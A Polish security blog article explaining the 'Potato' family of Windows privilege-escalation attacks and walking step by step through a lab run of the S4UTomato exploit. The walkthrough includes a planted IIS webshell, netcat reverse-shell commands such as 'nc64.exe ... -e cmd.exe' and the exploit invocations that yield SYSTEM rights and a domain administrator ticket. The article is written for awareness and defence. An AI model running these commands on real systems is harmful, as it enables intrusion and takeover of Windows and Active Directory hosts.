Menu dostępności

„Atak na gorący kartofel” i masz pełną kontrolę nad systemem Windows oraz Active Directory.

„Atak na gorący kartofel” i masz pełną kontrolę nad systemem Windows oraz Active Directory. Symulacja ataku

Na początku tego tygodnia pisaliśmy o metodzie ataku wykorzystującej eskalację lokalnego konta użytkownika do SYSTEM i obiecywaliśmy Wam pewien bonus. Jest nim dzisiejszy artykuł, w którym zademonstrujemy jeszcze inny, ciekawszy sposób. Tym razem do przejęcia kontroli nad systemem Windows posłużymy się wbudowanym wirtualnym kontem oraz podatnością w Active Directory, której do tej pory Microsoft nie chce naprawić. Jest to tak zwany atak na gorący kartofel.

Czym jest „atak na gorący kartofel”?

Co oznacza pojęcie gorącego kartofla, chyba nie musimy nikomu tłumaczyć. Lecz w kontekście opisywanego dzisiaj ataku na systemy Microsoft ma ono duże znaczenie. Sprawa jest tak bardzo kłopotliwa i trudna do rozwiązania, że Microsoft stara się uniknąć wzięcia za nią odpowiedzialności i do tej pory nie ma łatki na problem. Winą obarcza użytkowników końcowych lub systemy zależne, które nie są odpowiednio zabezpieczone. Poniżej postaramy się to dokładniej wytłumaczyć i pokazać problem od strony technicznej.

Wszystko rozpoczyna się w 2016 roku, w którym to ujawniono exploit o nazwie „Hot Potato”. Otworzył on puszkę Pandory, umożliwiając eskalację lokalnych uprawnień w systemie Windows. Przez następne kilka lat Microsoft ciągle starał się łatać problem, który zawsze znajdował obejście i pojawiał się kolejny „gorący ziemniak”. Atak w świecie Cybersec zmieniał swoje nazwy:

  • HotPotato (2016 rok),
  • RottenPotato (2016 rok),
  • LonelyPotato (2017 rok),
  • JuicyPotato (2018 rok),
  • GhostPotato(2019 rok),
  • SweetPotato (2020 rok),
  • RoguePotato (2020 rok),
  • GenericPotato (2021 rok),
  • JuicyPotatoNG (2022 rok),
  • CertPotato (2022 rok),
  • LocalPotato (2023 rok),
  • S4UTomato (opisywany dzisiaj).

Jak wygląda atak na gorącego ziemniaka od strony technicznej?

W wielkim skrócie wszystkie techniki wykorzystania Potato są prawie identyczne: użycie pewnych funkcji interfejsów COM, oszukanie konta „NT AUTHORITY\SYSTEM” w celu połączenia i uwierzytelnienia na kontrolowanym przez atakującego serwerze RPC. Następnie, poprzez serię wywołań API, podczas tego procesu uwierzytelniania wykonywany jest atak pośredni (NTLM Relay), w wyniku którego zostaje wygenerowany token dostępu dla konta NT AUTHORITY\SYSTEM w systemie lokalnym. Ostatecznie ten token zostaje skradziony, a funkcja CreateProcessWithToken() lub CreateProcessAsUser() jest używana do przekazania tokena i utworzenia nowego procesu w celu uzyskania uprawnień SYSTEMOWYCH. Proste, prawda?

W jakim scenariuszu można przeprowadzić atak?

Odpowiedz też jest prosta – w każdym scenariuszu, w którym komputer jest przyłączony do domeny Active Directory. Wyżej wymienione techniki można wykorzystać do lokalnej eskalacji uprawnień, o ile da się uruchomić kod w kontekście konta usługi Windows lub konta wirtualnego Microsoft – pod warunkiem, że usługa Active Directory nie została odpowiednia zahartowana (utwardzona), aby w pełni obronić się przed takimi atakami.

Istnieje wiele podatnych środowisk IT, w których taki atak można wykonać bez problemu. Dlatego powinno się odpowiednio przed nim zabezpieczyć.

W środowisku domeny Windows konta wirtualne SYSTEM, NT AUTHORITY\NETWORK SERVICE i Microsoft są używane do uwierzytelniania przez konta komputerów systemowych, które są przyłączone do domeny.

Zrozumienie tego jest kluczowe, ponieważ w nowoczesnych wersjach systemu Windows większość usług Windows jest domyślnie uruchamiana przy użyciu wirtualnych kont Microsoft.

Co to są wirtualne konta Windows?

Na pewno udało Ci się zauważyć, że usługi takie jak IIS i MSSQL korzystają z dziwnie nazwanych kont. Są to ukryte konta tworzone w systemie Windows, które nazywamy kontami wirtualnymi.

Listę kont wirtualnych na Windows możemy uzyskać za pomocą komendy w Powershell:

get-wmiobject -class "win32_account" -namespace "root\cimv2" | Where-Object {$_.__CLASS -eq 'Win32_UserAccount' -or $_.__CLASS -eq 'Win32_SystemAccount'} | sort caption | format-table caption, __CLASS, FullName
Co to są wirtualne konta Windows?

Jak widać na powyższym ekranie, kont wirtualnych (ukrytych) jest naprawdę dużo. I pomyśleć, jakie mogą kryć w sobie zagrożenia…

Symulacja ataku na gorący kartofel – PoC

Istnieje sposób, aby inne aplikacje mogły korzystać z wirtualnego konta (np. napisany własny exploit) – chociażby poprzez wykorzystanie i nadużycie metody S4U w celu uzyskania biletu serwisowego dla konta administratora domeny „Administrator” na komputerze lokalnym.

W celu zademonstrowania ataku na gorący kartofel posłużymy się jednym z ciekawszych exploitów umożliwiających przeprowadzenie ataku na gorący kartofel – S4UTomato.

Korzysta on z kodu SCMUACBypass autorstwa Jamesa Forshawa (@tiraniddo) do stworzenia specjalnego biletu, za pomocą którego możemy wykreować usługę systemową i uzyskać uprawnienia SYSTEMOWE. Osiągniemy dzięki temu taki sam efekt, jak poprzez tradycyjne metody stosowane w rodzinie technik eskalacji uprawnień „Potato”.

Aby przeprowadzić atak z sukcesem, wcześniej musimy uzyskać TGT (Ticket Granting Ticket) dla lokalnego konta maszyny. Nie jest to łatwe ze względu na ograniczenia nałożone przez uprawnienia konta usługi, uniemożliwiające nam uzyskanie klucza długoterminowego komputera, a tym samym niemożność skonstruowania żądania KRB_AS_REQ. Aby osiągnąć wyżej wymieniony cel, exploit S4UTomato łączy w sobie trzy techniki: ograniczone delegowanie oparte na zasobach, poświadczenia w tle i Tgtdeleg.

Krok 1. Kompilacja kodu exploita S4UPotato w VisualStudio

Krok 1. Kompilacja kodu exploita S4UPotato w VisualStudio

Krok 2. Stworzenie WebShell na IIS

W celu przejęcia wirtualnego konta IIS (iis apppool\defaultapppool) utworzyliśmy WebShell, umożliwiający nam komunikację z powłoką netcat – utworzenie odwrotnej powłoki TCP.

Kod naszego WebShell w ASP .Net zawiera możliwość pisania komend, które będą wykonywane w kontekście użytkownika IIS, i wygląda następująco:

Stworzenie WebShell na IIS

Dlaczego interesuje nas przejęcie konta „iis apppool\defaultapppool”, o tym później.

Krok 3. Uruchomienie powłoki netcat na Windows na porcie 2333 i 4444 TCP

Na Windows jesteśmy zalogowani jako zwykły użytkownik – „kapitanhack.pl”. Możemy to sprawdzić, wyświetlając uprawnienia za pomocą komendy „whoami /priv”.

Uruchamiamy narzędzie netcat na 2 portach i nasłuchujemy komunikację:

Uruchomienie powłoki netcat na Windows

Krok 4. Nawiązanie połączenia z IIS z powłoką netcat

Po wejściu na stronę webową z naszym WebShell http://localhost/KHWebshell.asp” uruchamiamy polecenie „nc64.exe 127.0.0.1 2333 -e cmd.exe” i wciskamy przycisk RUN.

Widzimy, że IIS nawiązał połączenie z lokalną powłoką netcat na porcie 2333.

Nawiązanie połączenia z IIS z powłoką netcat

W rezultacie uzyskania tego połączenia otrzymaliśmy odwrotną powłokę, w której przechwyciliśmy uprawnienia „iis apppool\defaultapppool”. I tutaj wyjaśniamy, dlaczego ważne jest przechwycenie tego wirtualnego konta. Odpowiedź zawiera poniższy screen.

odwrotna powłoka, w której przechwyciliśmy uprawnienia „iis apppool\defaultapppool”

Konto „iis apppool\defaultapppool” posiada uprawnienie SeImpersonatePrivilege, które pozwala namna personifikację innych kont na Windows.

Krok 5. Przeprowadzenie w exploicie S4Utomato delegacji uprawnień

W tym konkretnym przypadku będziemy chcieli przedstawić się w Active Directory jako konto komputera i uzyskać bilet Administratora domeny. W tym celu należy poprosić o niego AD, uruchamiając polecenie „S4UTomato.exe tgtdeleg”.

Przeprowadzenie w exploicie S4Utomato delegacji uprawnień

Udało się. Otrzymaliśmy bilet komputera „HOST/WIN10_BITLOCK” oraz TGS administratora domeny. Teraz nie pozostało nam nic innego, jak nawiązać drugą sesję do netcat na porcie 4444 TCP. Posiadamy bilet konta komputera, więc możemy na nim robić wszystko.

Krok 6. Eskalacja uprawnień do SYSTEM na komputerze Windows

W tym samym wierszu poleceń (lewe okno) z kroku 5 wpisujemy komendę

S4UTomato.exe krbscm -c „c:\temp\nc64.exe 127.0.0.1 4444 -e cmd.exe"

w celu uruchomienia odwrotnej powłoki na koncie komputera (prawe okno).

Eskalacja uprawnień do SYSTEM na komputerze Windows

Od teraz możemy się cieszyć uprawnieniami SYSTEM w nowej powłoce cmd.

Podsumowanie

Liczba exploitów w rodzinie ziemniaków wynika głównie z gry w kotka i myszkę, w którą Microsoft i badacze cyberbezpieczeństwa grają od samego początku, łatając obejście za obejściem. Ale ogólnie koncepcja pozostaje taka sama i dopóki można przekazywać protokół NTLM, privesc zawsze będzie istniał (i jest piękny).

Zalecamy sprawdzenie Waszych ustawień bezpieczeństwa w środowisku IT i odpowiednie zabezpieczenie się przed tego typu atakiem. Zapraszamy także do kontaktu 🙂

Popularne

Czym są non-human identities (NHI)? Jak możemy je chronić i jakie zagrożenia stwarzają dla organizacji?

Czym są non-human identities (NHI)? Jak możemy je chronić i jakie zagrożenia stwarzają dla organizacji?

W dzisiejszym artykule opisujemy pewien problem istniejący w firmach i organizacjach, związany z tożsamościami nieludzkimi (non-human identities), czyli inaczej – tożsamościami niezwiązanymi z pracow...
Filtrowanie URL i DNS, dlaczego to takie ważne?

Filtrowanie URL i DNS, dlaczego to takie ważne?

Filtrowanie adresów URL ogranicza zawartość stron internetowych, do których użytkownicy mają dostęp. Odbywa się to poprzez blokowanie określonych adresów URL przed załadowaniem. Firmy wdrażają filtrowanie...
Nowe podatności w architekturze sieci 5G

Nowe podatności w architekturze sieci 5G

Nowe badania nad architekturą 5G ujawniły lukę w zabezpieczeniach modelu dzielenia sieci oraz zwirtualizowanych funkcjach sieciowych, które można wykorzystać do nieautoryzowanego dostępu do danych, a tak...
Polowanie na eskalację uprawnień w Windows: sterowniki jądra i Named Pipe pod lupą

Polowanie na eskalację uprawnień w Windows: sterowniki jądra i Named Pipe pod lupą

Podatności typu Local Privilege Escalation (LPE) pozostają jednym z kluczowych elementów realnych ataków na systemy Windows. Nawet przy poprawnie skonfigurowanym systemie i aktualnym oprogramowaniu bł...
Hakerzy z Dragon Breath z nową techniką ataku

Hakerzy z Dragon Breath z nową techniką ataku

Specjaliści z Sophos wykryli niedawno złośliwą aktywność polegającą na klasycznym DLL side-loadingu, ale ze zwiększoną złożonością i dodatkową warstwą wykonania. Co więcej, dochodzenie wskazuje, że oso...